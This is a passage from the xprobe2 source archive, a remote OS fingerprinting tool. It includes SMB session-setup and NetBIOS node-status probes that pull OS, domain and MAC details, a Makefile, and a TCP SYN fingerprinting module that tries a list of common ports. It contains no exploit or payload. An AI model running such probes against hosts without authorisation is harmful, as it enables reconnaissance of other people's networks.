**namev ) { /* ---------------------------------------------------- ** * Build a Negotiate Protocol Request message. * ---------------------------------------------------- ** */ unsigned char *smb_bufr; int i; int length; int offset; unsigned short bytecount; unsigned char flags; unsigned short flags2; /* * Set aside four bytes for the session header. */ bsize = bsize - 4; smb_bufr = bufr + 4; /* Make sure we have enough room for the header, * the WORDCOUNT field, and the BYTECOUNT field. * That's the absolute minimum (with no dialects). */ if( bsize < (SMB_HDR_SIZE + 3) ) return(FAIL); /* Initialize the SMB header. * This zero-fills all header fields except for * the Protocol field ("\ffSMB"). * We have already tested the buffer size so * we can void the return value. */ (void)smb_hdrInit( smb_bufr, bsize ); /* Hard-coded flags values... */ flags = SMB_FLAGS_CANONICAL_PATHNAMES; flags |= SMB_FLAGS_CASELESS_PATHNAMES; flags2 = SMB_FLAGS2_KNOWS_LONG_NAMES; /* Fill in the header. */ smb_hdrSetCmd(smb_bufr, SMB_COM_NEGOTIATE ); smb_hdrSetFlags(smb_bufr, flags ); smb_hdrSetFlags2(smb_bufr, flags2 ); /* Fill in the (empty) parameter block. */ smb_bufr[SMB_HDR_SIZE] = 0; /* Copy the dialect names into the message. * Set offset to indicate the start of the * BYTES field, skipping BYTECOUNT. We will * fill in BYTECOUNT later. */ offset = SMB_HDR_SIZE + 3; for( bytecount = i = 0; i < namec; i++ ) { length = strlen((const char *)namev[i]) + 1; /* includes nul */ if( bsize < (offset + 1 + length) ) /* includes 0x02 */ return( FAIL ); smb_bufr[offset++] = '\x02'; (void)memcpy( &smb_bufr[offset], namev[i], length ); offset += length; bytecount += length + 1; } /* The offset is now the total size of the SMB message. */ if( nbt_SessionHeader( bufr, (unsigned long)offset ) < offset ) return(FAIL); /* The BYTECOUNT field starts one byte beyond the end * of the header (one byte for the WORDCOUNT field). */ SMBUtil::smb_SetShort( smb_bufr, (SMB_HDR_SIZE + 1), bytecount ); /* Return the total size of the packet. */ return( offset + 4 ); } int SMB::smb_SessSetupRequest(unsigned char *buf, unsigned int bsize) { char smb_data[]="\x1b\x00\x00\x00\x00\x00\x00\x55\x00\x6e\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6d\x00\x62\x00\x61\x00\x00\x00"; char wordcount = 26; // size of our SMB parameters unsigned char *smb_bufr; unsigned char flags; unsigned short flags2; unsigned long smblen; bsize = bsize - 4; smb_bufr = buf + 4; if (bsize < SMB_HDR_SIZE+wordcount+sizeof(smb_data)+1) return FAIL; (void)smb_hdrInit(smb_bufr, bsize ); /* Hard-coded flags values... */ flags = SMB_FLAGS_CANONICAL_PATHNAMES; flags |= SMB_FLAGS_CASELESS_PATHNAMES; flags2 = SMB_FLAGS2_KNOWS_LONG_NAMES; smb_hdrSetCmd(smb_bufr, SMB_COM_SESS_SETUP_ANDX); smb_hdrSetFlags(smb_bufr, flags ); smb_hdrSetFlags2(smb_bufr, flags2 ); smb_bufr[SMB_OFFSET_WC]=wordcount/2; /* 12 or 13 words */ smb_bufr[SMB_OFFSET_COM]=0xff; smb_bufr[SMB_OFFSET_XRESERVED]=0; SMBUtil::smb_SetShort(smb_bufr, SMB_OFFSET_OFFSET,0); SMBUtil::smb_SetShort(smb_bufr,SMB_OFFSET_MAXBUF,65535); SMBUtil::smb_SetShort(smb_bufr, SMB_OFFSET_MPXCNT, 2); SMBUtil::smb_SetShort(smb_bufr,SMB_OFFSET_VCNUM, getpid()); SMBUtil::smb_SetLong(smb_bufr,SMB_OFFSET_SESSKEY, 0); SMBUtil::smb_SetShort(smb_bufr,SMB_OFFSET_CIPASSLEN, 0); SMBUtil::smb_SetShort(smb_bufr,SMB_OFFSET_CSPASSLEN, 0); SMBUtil::smb_SetLong(smb_bufr,SMB_OFFSET_RESERVED, 0); SMBUtil::smb_SetLong(smb_bufr, SMB_OFFSET_CAPABILITIES, 0x0000005c); memcpy(smb_bufr+SMB_HDR_SIZE+wordcount+1, smb_data, sizeof(smb_data)); smblen = SMB_HDR_SIZE+wordcount+sizeof(smb_data); if(nbt_SessionHeader( buf, smblen) == FAIL ) return( FAIL ); return smblen+4; // session header is 4 bytes } int SMB::session_setup_and_x(struct in_addr target, unsigned short port) { const unsigned char *dialects[] = { (const unsigned char *)"PC NETWORK PROGRAM 1.0", (const unsigned char *)"MICROSOFT NETWORKS 1.03", (const unsigned char *)"MICROSOFT NETWORKS 3.0", (const unsigned char *)"LANMAN1.0", (const unsigned char *)"LM1.2X002", (const unsigned char *)"DOS LANMAN2.1", (const unsigned char *)"Samba", (const unsigned char *)"NT LANMAN 1.0", (const unsigned char *)"NT LM 0.12" }; unsigned char buf[2048], *nativeosptr=NULL; unsigned char wordcount=0, bytecount=0, k; int sock, size; string tmp; vector tokens; bzero(buf, sizeof(buf)); // lets try to get the name using node status query NBT_Node_Status_Query(target); sock = NBT_Session(target, port); if (sock == FAIL) { ui->error("SMB::session_setup_and_x: NBT_Session() failed!\n"); return FAIL; } else if (sock == RETRY) { /* * default name we are calling remote box "*SMBSERVER" failed * we now send NBT Node Status Query which should provide us * with the name we need */ ui->error("SMB::session_setup_and_x: Remote target didn't accept called name %s\n", calledname.c_str()); return FAIL; } size = smb_NegProtRequest(buf,sizeof(buf), 9, dialects); if (size == FAIL) { ui->error("SMB::session_setup_and_x: smb_NegProtRequest(): failed!\n"); return FAIL; } if ((size = send(sock, buf, size, 0)) < 1) { ui->error("SMB::session_setup_and_x: send(): failed!\n"); return FAIL; } /* * to make sure remote box replies */ size = xp_lib::RecvTimeout( sock, buf, sizeof(buf), 1); if (size < 1) { ui->error("--SMB::session_setup_and_x: failed to read NegProt response\n"); return FAIL; } xprobe_debug(XPROBE_DEBUG_MODULES, "--SMB::session_setup_and_x: Received NEG PROTO response %d bytes\n", size ); bzero(buf, sizeof(buf)); size = smb_SessSetupRequest(buf, sizeof(buf)); if ((size=send(sock, buf, size, 0)) < 1) { return FAIL; } size = xp_lib::RecvTimeout( sock, buf, sizeof(buf), 1); if (size < SMB_HDR_SIZE+3+4) { close(sock); return FAIL; } wordcount = buf[SMB_HDR_SIZE+4]; /* * Argh...ugly checks! * * 4 bytes NBT header * 32 bytes SMB header * 1 bytes word count * word count * 2 bytes SMB params * 1 byte byte count */ if ((4 + SMB_HDR_SIZE + 1 + (wordcount*2) + 1) > size) { ui->error("--SMB::session_setup_and_x: [wordcount] invalid Sess Setup And X reply (reported length is less than received). Received=%d Reported=%d\n", size, (4 + SMB_HDR_SIZE + 1 + (wordcount*2) + 1)); close(sock); return FAIL; } bytecount = buf[SMB_HDR_SIZE+4+(wordcount*2)+1]; /* * Argh...ugly checks! */ if ((4 + SMB_HDR_SIZE + 1 + (wordcount*2) + 1 + bytecount) > size) { ui->error("--SMB::session_setup_and_x: [bytecount] invalid Sess Setup And X reply (reported length is less than received). Received=%d Reported=%d\n", size, (4 + SMB_HDR_SIZE + 1 + (wordcount*2) + 1)); close(sock); return FAIL; } if (bytecount > 0) { nativeosptr = &buf[SMB::SMB_HDR_SIZE+4+(wordcount*2)+2]; for (k=0; k < bytecount; k++) { if (nativeosptr[k] == '\0') { tmp.append("|"); } else { tmp+=nativeosptr[k]; } } xp_lib::tokenize(tmp.c_str(), '|', &tokens); if (tokens.size() == 4) { nativeos = tokens[1]; lanman = tokens[2]; domain = tokens[3]; } else { ui->error("--SMB::session_setup_and_x: Invalid number of tokens: %d (nativeos, ...)\n", tokens.size()); close(sock); return FAIL; } } close(sock); return OK; } int SMB::NBT_Node_Status_Query(struct in_addr dst_addr) { // NBT node status request packet unsigned char nbtrequest[]="\x81\x9e" // transaction id, modified below "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" "\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01"; unsigned char buf[2048]; unsigned short transid = rand(); int sock, size, offset, i, k; char num_of_names; struct sockaddr_in sin, to; // make sure we don't try *SMBSERVER once again /* set the transaction id and later check its value * to make sure the reply has not been spoofed */ SMBUtil::smb_SetShort(nbtrequest, 0, transid); xprobe_debug(XPROBE_DEBUG_MODULES, "--Transaction ID: %d\n", transid); /* * for bind */ bzero(&sin, sizeof(sin)); bzero(&to, sizeof(to)); sin.sin_addr.s_addr = INADDR_ANY; sin.sin_family = AF_INET; sin.sin_port = htons(137); to.sin_addr = dst_addr; to.sin_port = htons(137); to.sin_family = AF_INET; sock = xp_lib::OpenUDPSocket(&to, &sin); if (sock == FAIL) { ui->error("SMB::NBT_Node_Status_Query: xp_lib::OpenUDPSocket failed! (%s)\n", strerror(errno)); return FAIL; } /* * for sendto */ sin.sin_addr = dst_addr; size = send(sock, nbtrequest, sizeof(nbtrequest)-1, 0); if (size < 1) { ui->error("SMB::NBT_Node_Status_Query: sendto() failed!\n"); close(sock); return FAIL; } xprobe_debug(XPROBE_DEBUG_MODULES, "--SMB::NBT_Node_Status_Query: Sent %d bytes\n", size); bzero(buf, sizeof(buf)); size = xp_lib::RecvTimeout( sock, buf, sizeof(buf)-1, 2); if (size < 1) { ui->error("SMB::NBT_Node_Status_Query: xp_lib::RecvTimeout() failed!\n"); close(sock); return FAIL; } xprobe_debug(XPROBE_DEBUG_MODULES, "--SMB::NBT_Node_Status_Query: Received %d bytes\n", size); /* * first sanity check, * make sure we have enough to reference the 13th byte */ if (size < 13) { ui->error("SMB::NBT_Node_Status_Query: corrupted/truncated reply\n"); close(sock); return FAIL; } offset = 2 + 12 /* Length of the header */ + strlen((const char *) &buf[12] ) + 1 /* NBT Name length */ + 2 + 2 + 4; /* Type, Class, & TTL */ /* * check transaction ID */ if (transid != SMBUtil::smb_GetShort(buf, 0)) { ui->error("SMB::NBT_Node_Status_Query: invalid transaction ID (spoofed?)\n"); close(sock); return FAIL; } /* * second sanity check, * make sure offset we have calculated is valid */ if (size <= offset+2) { ui->error("SMB::NBT_Node_Status_Query: invalid offset (corrupted packet or someone's playing games w/ us?)\n"); close(sock); return FAIL; } num_of_names = buf[offset++]; /* * third sanity check, * make sure we have received all names claimed + MAC + other header params */ if (size < (num_of_names * 18)+offset+6+36) { ui->error("SMB::NBT_Node_Status_Query: invalid number of names(corrupted packet or someone's playing games w/ us?)\n"); close(sock); return FAIL; } for( i = 0; i < num_of_names; i++, offset += 18 ) { if (buf[offset+15] == NBT_SERVER_SERVICE) { calledname.erase(); for (k=0; k < 15; k++) { if (isprint(buf[offset+k])) { calledname+=buf[offset+k]; } else { /* nonprintable char in name, something's wrong */ ui->error("SMB::NBT_Node_Status_Query: nonprintable char in name\n"); close(sock); return FAIL; } } } } mac[0] = buf[offset]; mac[1] = buf[offset+1]; mac[2] = buf[offset+2]; mac[3] = buf[offset+3]; mac[4] = buf[offset+4]; mac[5] = buf[offset+5]; close(sock); return OK; } string SMB::get_mac(void) { char buf[128]; string retval; bzero(buf, sizeof(buf)); snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); retval = buf; return retval; } xprobe2-0.3/src/xpmodules/os_probe/tcp_handshake000755 001751 000000 00000000000 10271644025 022320 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/tcp_handshake/Makefile.in000755 001751 000000 00000003041 10271643771 024454 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2003/06/26 12:17:22 mederchik Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../../ -I ../../../ -I../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= RANLIB=@RANLIB@ all: tcp_handshake.o tcp_handshake.o: tcp_handshake.cc ${CXX} ${CFLAGS} -c tcp_handshake.cc .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/tcp_handshake/tcp_handshake.cc000644 001751 000000 00000053647 10271643771 025530 0ustar00mederwheel000000 000000 /* ** ** Copyright (C) 2001, 2002, 2003 Meder Kydyraliev ** ** Copyright (C) 2001, 2002, 2003 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "target.h" #include "interface.h" #include "cmd_opts.h" #include "tcp_handshake.h" extern Interface *ui; extern Cmd_Opts *copts; TCP_Handshake_Mod::TCP_Handshake_Mod(void): Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:tcp_hshake","TCP Handshake fingerprinting module") { TCP_Handshake_Ttl_Check *ttlc = new TCP_Handshake_Ttl_Check; TCP_Handshake_Ip_Id_Check *ipidc = new TCP_Handshake_Ip_Id_Check; TCP_Handshake_Tos_Check *tosc = new TCP_Handshake_Tos_Check; TCP_Handshake_Df_Bit_Check *dfbc = new TCP_Handshake_Df_Bit_Check; TCP_Handhake_Ack_Check *ackc = new TCP_Handhake_Ack_Check; TCP_Handshake_Window_Check *winc = new TCP_Handshake_Window_Check; kwd_chk.insert(pair("tcp_syn_ack_ttl", ttlc)); kwd_chk.insert(pair("tcp_syn_ack_ip_id", ipidc)); kwd_chk.insert(pair("tcp_syn_ack_tos", tosc)); kwd_chk.insert(pair("tcp_syn_ack_df", dfbc)); kwd_chk.insert(pair("tcp_syn_ack_ack", ackc)); kwd_chk.insert(pair("tcp_syn_ack_window_size", winc)); memset(opt_order, 0, sizeof(opt_order)); wscale = -1; got_timestamp = false; tse_first = tsv_first = tse_second = tsv_second = used_port = 0; } TCP_Handshake_Mod::~TCP_Handshake_Mod(void) { map ::iterator m_i; for (m_i = kwd_chk.begin(); m_i != kwd_chk.end(); m_i++) delete m_i->second; } int TCP_Handshake_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int TCP_Handshake_Mod::exec(Target *tg, OS_Matrix *os) { // if (run_probe(tg, os) != FAIL) { return run_probe(tg, os); // } // return FAIL; } int TCP_Handshake_Mod::run_probe(Target *tg, OS_Matrix *os) { map::iterator m_i; TCP *request = new TCP(inet_ntoa(tg->get_addr())); char buf[1024]; int done=0, ret, have_more_ports=1; bool no_open_port; unsigned int ix=0; unsigned short tcp_brute_ports[] = {80, 443, 23, 21, 25, 22, 445, 139, 6000}; Xprobe::Timeval tv; struct in_addr local=tg->get_interface_addr(), remote=tg->get_addr(); TCP sn(inet_ntoa(local)); tv = (double)tg->get_rtt()*50; tv.tv_sec = 2; if (used_port != 0 && (tse_first == 0 || tsv_first == 0)) { // timestamp option was not received in previous request xprobe_debug(XPROBE_DEBUG_MODULES, "--%s No timestamp recevied in previous TCP reply\n", get_name()); return OK; } if (used_port != 0) usleep(10000); /* * logic is as follows: * - if user supplied the port with -p switch we'll go ahead and do a run * using the port specified(or if got ports from portscan); * - if user didnot supply the port w/ -p, but supplied -B (tcp bruteforce), * we will loop throught the tcp_brute_ports[] array sending one packet * at a time to each port in array * - if neither -B nor -p (for tcp) were specified, the module will not be run * - if both options are specified, the port supplied w/ -p will be use and no * TCP brute forcing will be done */ no_open_port = (tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN) == -1); if (!copts->tcp_port_brute() && no_open_port) { ui->msg("[-] %s Module execution aborted (no open TCP ports known)\n", get_name()); return FAIL; } sn.init_device(tg->get_interface(), 0, 1500); sn.timeout(tv); xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); if (get_tcpopts_pack(tg, request)) { ui->msg("[%s] send_tcpopts() failed\n", get_name()); return FAIL; } srand(time(NULL)); while (have_more_ports) { request->set_tcpsum(0); if (no_open_port) { // we bruteforce if (ix < sizeof(tcp_brute_ports)/sizeof(unsigned short)) { request->set_dstport(tcp_brute_ports[ix++]); request->set_srcport(rand()); } else { // bruteforcing finished break; } } else { // no bruteforcing, we have tcp port supplied by user or from portscan have_more_ports = false; } request->sendpack(""); while(!done) { memset(buf, 0, sizeof(buf)); ret = sn.sniffpack(buf, sizeof(buf)); if (!sn.timeout()) { if (sn.get_src() == remote.s_addr && request->get_dstport() == sn.get_srcport() && request->get_srcport() == sn.get_dstport()) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Got reply.\n", get_name()); } } else done = 1; // timeout } /* sniffpack loop */ done = 0; if (!sn.timeout() && sn.get_flags() == (TH_SYN|TH_ACK)){ /* * add port to the list of the open ports on target */ tg->add_port(IPPROTO_TCP, request->get_dstport(), XPROBE_TARGETP_OPEN); have_more_ports=false; // we got reply, no further packets required xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Got SYN ACK packet.\n", get_name()); //memset(tcp_options, 0, sizeof(tcp_options)); //len = sn.get_tcpopt(tcp_options)-20; //parse_options(tcp_options, len); memset(opt_order, 0, sizeof(opt_order)); sn.get_parsed_tcpopt(opt_order, sizeof(opt_order)-1); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] GOT OPTIONS: %s\n", get_name(), opt_order); if (strchr(opt_order, 'T')) { got_timestamp=true; timestamps[0] = sn.get_tcpopt_tsv(); timestamps[1] = sn.get_tcpopt_tse(); } if (strchr(opt_order, 'W')) { wscale = sn.get_wscale(); } if (used_port != 0) { //second execution xprobe_debug(XPROBE_DEBUG_MODULES, "TSV difference: %u\n", timestamps[0] - tsv_first); xprobe_debug(XPROBE_DEBUG_MODULES, "TSE difference: %u\n", timestamps[1] - tse_first); } else { used_port = request->get_dstport(); for (m_i = kwd_chk.begin(); m_i != kwd_chk.end(); m_i++) m_i->second->check_param(&sn, request, os); for (w_i = wscale_map.begin(); w_i != wscale_map.end(); w_i++) if (w_i->second == wscale) { os->add_result(get_id(), w_i->first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), w_i->first, XPROBE_MATCH_NO); } for (o_i = options_map.begin(); o_i != options_map.end(); o_i++) if (o_i->second == opt_order) { os->add_result(get_id(), o_i->first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), o_i->first, XPROBE_MATCH_NO); } if (got_timestamp) { if (timestamps[0] == 0) tsv_first = 0; else tsv_first = 1; if (timestamps[1] == 0) tse_first = 0; else tse_first = 1; for (ts_i = tsval.begin(); ts_i != tsval.end(); ts_i++) if (ts_i->second == tsv_first) os->add_result(get_id(), ts_i->first, XPROBE_MATCH_YES); else os->add_result(get_id(), ts_i->first, XPROBE_MATCH_NO); for (ts_i = tsecr.begin(); ts_i != tsecr.end(); ts_i++) if (ts_i->second == tse_first) os->add_result(get_id(), ts_i->first, XPROBE_MATCH_YES); else os->add_result(get_id(), ts_i->first, XPROBE_MATCH_NO); tsv_first = timestamps[0]; tse_first = timestamps[1]; } else { for (ts_i = tsval.begin(); ts_i != tsval.end(); ts_i++) if (ts_i->second == 2) /* NONE */ os->add_result(get_id(), ts_i->first, XPROBE_MATCH_YES); else os->add_result(get_id(), ts_i->first, XPROBE_MATCH_NO); for (ts_i = tsecr.begin(); ts_i != tsecr.end(); ts_i++) if (ts_i->second == 2) /* NONE */ os->add_result(get_id(), ts_i->first, XPROBE_MATCH_YES); else os->add_result(get_id(), ts_i->first, XPROBE_MATCH_NO); } if (tg->generate_sig()) generate_signature(tg, &sn, request); } } else { if (!sn.timeout() && sn.get_flags() == (TH_ACK|TH_RST)) { /* * add port to the list of the open ports on target */ tg->add_port(IPPROTO_TCP, request->get_dstport(), XPROBE_TARGETP_CLOSED); } xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Did not receive SYN ACK packet. %d\n", get_name(), sn.get_dstport()); } } return OK; } int TCP_Handshake_Mod::parse_options(char *tcp_options, int len) { int lenparsed, optlen= 0; unsigned int k=0; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Length of options: %d. Options are:\n",get_name(), len); // Parse TCP options, like OpenBSD does in /sys/netinet/tcp_input.c memset(opt_order, 0, sizeof(opt_order)); for (lenparsed = 0; lenparsed < len; lenparsed += optlen) { if (tcp_options[lenparsed] == TCPOPT_NOP) { optlen=1; xprobe_mdebug(XPROBE_DEBUG_MODULES, "NOP\n"); if (k < sizeof(opt_order)) opt_order[k++]='N'; continue; } else if (tcp_options[lenparsed] == TCPOPT_EOL) { xprobe_mdebug(XPROBE_DEBUG_MODULES, "EOL\n"); if (len - lenparsed > 1) // something fucked up, we have end of list // but we are not done yet xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Got TCPOPT_EOL not at the end of options", get_name()); break; } else { // avoid evil packets that only have // option w/o lenght if (lenparsed + 1 < len) optlen = tcp_options[lenparsed+1]; else // something is really fucked // we have option but do not have // its length return FAIL; } // alrighty, check for a fucked up packs // make sure that len reported in the pack // fits into our buffer if (optlen > len - lenparsed) { ui->msg("Option length reported in packet is greater than total options length\n"); return FAIL; } // at this point have optlen bytes in tcp_options; // if optlen for some particular option is fucked up // we assign it correct value and try to parse further, // however neither data is parsed, nor we add option to // opt_order switch(tcp_options[lenparsed]) { case TCPOPT_WINDOW: xprobe_mdebug(XPROBE_DEBUG_MODULES, "WSCALE "); if (optlen != TCPOLEN_WINDOW) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Bad TCPOPT_WINDOW len %d", get_name(), optlen); optlen = TCPOLEN_WINDOW; continue; } else { wscale = tcp_options[lenparsed+2]; xprobe_debug(XPROBE_DEBUG_MODULES, "%d \n", wscale); if (k < sizeof(opt_order)) opt_order[k++]='W'; } break; case TCPOPT_TIMESTAMP: xprobe_mdebug(XPROBE_DEBUG_MODULES, "TIMESTAMP\n"); if (optlen != TCPOLEN_TIMESTAMP) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Bad TCPOPT_TIMESTAMP len %d", get_name(), optlen); optlen = TCPOLEN_TIMESTAMP; continue; } // we are guaranteed to have 8 bytes of option data at tcp_options+lenparsed memcpy(×tamps[0], tcp_options+lenparsed+2, 4); memcpy(×tamps[1], tcp_options+lenparsed+6, 4); timestamps[0] = ntohl(timestamps[0]); timestamps[1] = ntohl(timestamps[1]); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Timestamps: %d %d\n", get_name(), timestamps[0],timestamps[1]); if (k < sizeof(opt_order)) opt_order[k++]='T'; got_timestamp = true; break; case TCPOPT_MAXSEG: xprobe_mdebug(XPROBE_DEBUG_MODULES, "MSS\n"); if (optlen != TCPOLEN_MAXSEG) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Bad TCPOPT_MAXSEG len %d", get_name(), optlen); optlen = TCPOLEN_MAXSEG; continue; } if (k < sizeof(opt_order)) opt_order[k++] = 'M'; break; case TCPOPT_SACK_PERMITTED: xprobe_mdebug(XPROBE_DEBUG_MODULES, "SACK\n"); if (optlen != TCPOLEN_SACK_PERMITTED) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Bad TCPOPT_SACK_PERMITTED len %d", get_name(), optlen); optlen = TCPOLEN_SACK_PERMITTED; continue; } if (k < sizeof(opt_order)) opt_order[k++] = 'S'; break; default: ui->msg("[%s] Remote hosts proposed TCP option in SYNACK packet please report\n"); } } return OK; } int TCP_Handshake_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int TCP_Handshake_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { unsigned int vl=0; map::iterator m_i; xprobe_debug(XPROBE_DEBUG_SIGNATURES, "Parsing for %i : %s = %s\n", os_id, kwd, val); if ((m_i=kwd_chk.find(kwd)) != kwd_chk.end()) { return (m_i->second->parse_param(os_id, val)); } /* parse "tcp_syn_ack_options_order" keyword * following values are accepted: * NOP MSS WSCALE SACK TIMESTAMP */ if (!strncasecmp(kwd, "tcp_syn_ack_options_order", strlen("tcp_syn_ack_options_order"))) { string options(val), fin_opt; string::size_type begin, end; unsigned int k=0; memset(opt_order, 0, sizeof(opt_order)); //for the loop to work and parse last param // last char should be `"' anyway options[options.size()-1] = ' '; begin = options.find_first_not_of('"'); end = options.find_first_of(' '); while (begin != string::npos && end != string::npos) { if (k < sizeof(opt_order)) opt_order[k++] = options.substr(begin, end)[0]; else ui->msg("[%s] Too many options specified\n", get_name()); begin=options.find_first_not_of(' ', end); end = options.find_first_of(' ', begin); } // sanity check to make sure no UNKNOWN // options were specified in the fingerprint while (k-- > 0) { if (opt_order[k] != 'N' && opt_order[k] != 'M' && opt_order[k] != 'W' && opt_order[k] != 'S' && opt_order[k] != 'T') { ui->msg("[%s] Unknown TCP option %c in fingerprint (%s=%s)\n", get_name(), opt_order[k], kwd, val); return FAIL; } } fin_opt = opt_order; options_map.insert(pair(os_id, fin_opt)); } else if (!strncasecmp(kwd, "tcp_syn_ack_wscale", strlen("tcp_syn_ack_wscale"))) { if (val[0] == 'N' || val[0] == 'n'){ wscale_map.insert(pair(os_id, -1)); } else if (val[0] >= '0' && val[0] <= '9') { errno = 0; int j = strtol(val, NULL, 0); if (errno == ERANGE) { ui->msg("tcp_handshake::parse_keyword() bad value for keyword(%s=%s)", kwd, val); return FAIL; } wscale_map.insert(pair(os_id, j)); } else ui->msg("[%s] Unknown value (%s=%s)\n", kwd, val); } else if (!strncasecmp(kwd, "tcp_syn_ack_tsval", strlen("tcp_syn_ack_tsval"))) { if (val[0] == 'N' || val[0] == 'n') vl = 2; else if (val[0] == '!') vl = 1; else if (val[0] == '0') vl = 0; tsval.insert(pair(os_id, vl)); } else if (!strncasecmp(kwd, "tcp_syn_ack_tsecr", strlen("tcp_syn_ack_tsecr"))) { if (val[0] == 'N' || val[0] == 'n') vl = 2; else if (val[0] == '!') vl = 1; else if (val[0] == '0') vl = 0; tsecr.insert(pair(os_id, vl)); } else ui->msg("[%s] Unknown keyword %s\n", get_name()); return OK; }; int TCP_Handshake_Mod::get_tcpopts_pack(Target *tg, TCP *tcp) { union tcp_options to; struct timeval tv; if ((gettimeofday(&tv, NULL)) < 0) { ui->msg("[%s] gettimeofday failed: %s\n", get_name(), strerror(errno)); return FAIL; } srand(time(NULL)); tcp->set_src(inet_ntoa(tg->get_interface_addr())); //CHANGE PORT tcp->set_srcport(rand()); tcp->set_dstport(tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_OPEN)); tcp->set_ttl(64); tcp->set_win(5840); tcp->set_flags(TH_SYN); tcp->set_tos(0x10); tcp->set_fragoff(IP_DF); tcp->set_seq(rand()); tcp->set_ack(0); to.one_word = 1460; tcp->set_tcpopt(TCPOPT_MAXSEG, TCPOLEN_MAXSEG, to); memset(&to, 0, sizeof(to.unknown)); tcp->set_tcpopt(TCPOPT_SACK_PERMITTED, TCPOLEN_SACK_PERMITTED, to); to.two_dwords[0] = tv.tv_usec; //usi++ will do htonl() tcp->set_tcpopt(TCPOPT_TIMESTAMP, TCPOLEN_TIMESTAMP, to); memset(&to, 0, sizeof(to.unknown)); tcp->set_tcpopt(TCPOPT_NOP, 1, to); to.one_byte = 0; tcp->set_tcpopt(TCPOPT_WINDOW, TCPOLEN_WINDOW, to); return OK; } void TCP_Handshake_Mod::generate_signature(Target *tg, TCP *pack, TCP *orig) { string keyword, value; unsigned int ttl; char buf[100]; /* # #IP header of the TCP SYN ACK # tcp_syn_ack_tos = [0, ] # tcp_syn_ack_df = [0 , 1 ] # tcp_syn_ack_ip_id = [0 , !0, SENT ] # tcp_syn_ack_ttl = [>< decimal num] # # #Information from the TCP header # tcp_syn_ack_ack = [] # tcp_syn_ack_window_size = [] # tcp_syn_ack_options_order = ["order"] # tcp_syn_ack_wscale = [, NONE] tcp_syn_ack_tsval = [0, !0, NONE] tcp_syn_ack_tsecr = [0, !0, NONE] */ if (!pack->timeout()) { keyword="tcp_syn_ack_tos"; memset(buf, 0, sizeof(buf)); if (pack->get_tos() == 0) value="0"; else { snprintf(buf, sizeof(buf), "0x%x", pack->get_tos()); value = buf; } tg->signature(keyword, value); /* following checkpoing values for TCP ttl: * 32, 60, 64, 128, 255 */ keyword="tcp_syn_ack_ttl"; ttl = pack->get_ttl() + tg->get_distance(); value = "<"; if (ttl <= 32) value.append("32"); else if (ttl <= 60) value.append("60"); else if (ttl <= 64) value.append("64"); else if (ttl <= 128) value.append("128"); else if 